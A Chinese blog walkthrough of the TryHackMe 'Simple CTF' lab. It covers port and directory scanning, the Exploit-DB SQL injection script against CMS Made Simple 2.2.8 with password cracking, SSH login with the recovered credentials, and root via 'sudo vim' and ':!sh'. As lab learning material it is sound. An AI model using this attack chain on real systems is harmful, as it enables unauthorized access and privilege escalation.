因为有东西代替了太阳,虽然没有太阳那么明亮,但对我来说已经足够|

gvpn

园龄:2年5个月粉丝:8关注:5

2023-03-01 20:26阅读: 76评论: 0推荐: 0

Simple CTF

来自tryhackme的Simple CTF

IP:10.10.27.234

信息收集

端口扫描
nmap -sV -T4 10.10.27.234

可以看到三个端口
21/tcp 打开 ftp vsftpd 3.0.3 
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh OpenSSH 7.2 p2 Ubuntu 4ubuntu2.8(Ubuntu Linux;协议 2.0)


目录扫描
gobuster dir -u 10.10.27.234 -w /usr/share/wordlists/dirb/common.txt
得到
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
/simple (Status: 301)

进入robots.txt,没啥用

http://10.10.27.234/simple/

可以看到一个cms 并且版本是2.2.8

https://www.exploit-db.com/ 查找可用cve

搜索cms simple 2.2

有一个sqli:https://www.exploit-db.com/exploits/46635

下载到本地利用

根据提示利用字典(但是我本地的路径和提示不同) /usr/share/wordlists/SecLists/Passwords/Common-Credentials/best110.txt
这里因为模块无所以参考 :python2.7 -m pip install termcolor,然后就可以了

python2 46635.py -u http://10.10.27.234/simple --crack -w /usr/share/wordlists/SecLists/Passwords/Common-Credentials/best110.txt

[+] 盐找到密码:1dac0d92e9fa6bb2 
[+] 找到用户名:mitch 
[+] 找到电子邮件:admin@admin.com 
[+] 找到密码:0c01f4468bd75d7a84c7eb73846e8d96 
[+] 破解密码:secret

ssh登录,记住端口

ssh mitch@10.10.27.234 -p 2222

然后提权

sudo -l
有vim

sudo vim root
然后直接键入:!sh 回车键
即可root

本文作者:gvpn

本文链接:https://www.cnblogs.com/-Lucky-/p/17169601.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   gvpn  阅读(76)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起